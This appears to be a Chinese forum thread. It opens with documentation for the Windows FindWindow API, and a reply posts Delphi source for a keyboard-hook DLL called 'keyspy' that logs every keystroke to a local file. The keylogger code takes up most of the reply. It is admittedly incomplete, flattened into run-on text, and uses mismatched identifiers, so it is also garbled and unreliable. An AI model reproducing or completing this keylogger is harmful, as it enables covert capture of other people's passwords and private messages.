[email protected]
第一个参数应该是窗体的类名,加上类名你再试试!!!下面是函数的描述:函数功能:该函数获得一个顶层窗口的句柄,该窗口的类名和窗口名与给定的字符串相匹配。这个函数不查找子窗口。在查找时不区分大小写。
    函数型:HWND FindWindow(LPCTSTR IpClassName,LPCTSTR IpWindowName);
    参数:
    IpClassName :指向一个指定了类名的空结束字符串,或一个标识类名字符串的成员的指针。如果该参数为一个成员,则它必须为前次调用theGlobafAddAtom函数产生的全局成员。该成员为16位,必须位于IpClassName的低 16位,高位必须为 0。    IpWindowName:指向一个指定了窗口名(窗口标题)的空结束字符串。如果该参数为空,则为所有窗口全匹配。    返回值:如果函数成功,返回值为具有指定类名和窗口名的窗口句柄;如果函数失败,返回值为NULL。    若想获得更多错误信息,请调用GetLastError函数。    备注:Windows CE:若类名是一个成员,它必须是从 RegisterClass返回的成员。    速查:Windows NT:3.1以上版本;Windows:95以上版本;Windows CE:1.0以上版本;头文件:Winuser.h;库文件:user32.lib; Unicode:在 Windows NT上实现为 Unicode和 ANSI两种版本。

解决方案 »

  1.   

    以下是hook原码,但是其中少了一个过程1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:library keyspy;useswindows,messageshookproc in 'hookproc.pas';exportssetkeyhookendkeyhook;beginnexthookproc:=0;procsaveexit:=exitproc;exitproc:=@keyhookexit;end.2.在Hookproc.pas中实现了钩子具体过程:unit hookproc;interfaceusesWindows,Messages,SysUtils,Controls,StdCtrls;varnexthookproc:hhook;procsaveexit:pointer;function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;function setkeyhook:bool;export;//加载钩子function endkeyhook:bool;export;//卸载钩子procedure keyhookexit;far;constafilename='c:\debug.txt';//将键盘输入动作写入文件中vardebugfile:textfile;implementationfunction keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;beginif icode<0 thenbeginresult:=callnexthookex(hnexthookproc,icode,wparam,lparam);exit;end;assignfile(debugfile,afilename);append(debugfile);if getkeystate(vk_return)<0 thenbeginwriteln(debugfile,'');write(debugfile,char(wparam));endelsewrite(debugfile,char(wparam));closefile(debugfile);result:=0;end;function endkeyhook:bool;export;beginif nexthookproc<>0 then beginunhookwindowshookex(nexthookproc);nexthookproc:=0;messagebeep(0); end;result:=hnexthookproc=0;end;procedure keyhookexit;far;beginif nexthookproc<>0 then endkeyhook;exitproc:=procsaveexit; end;end.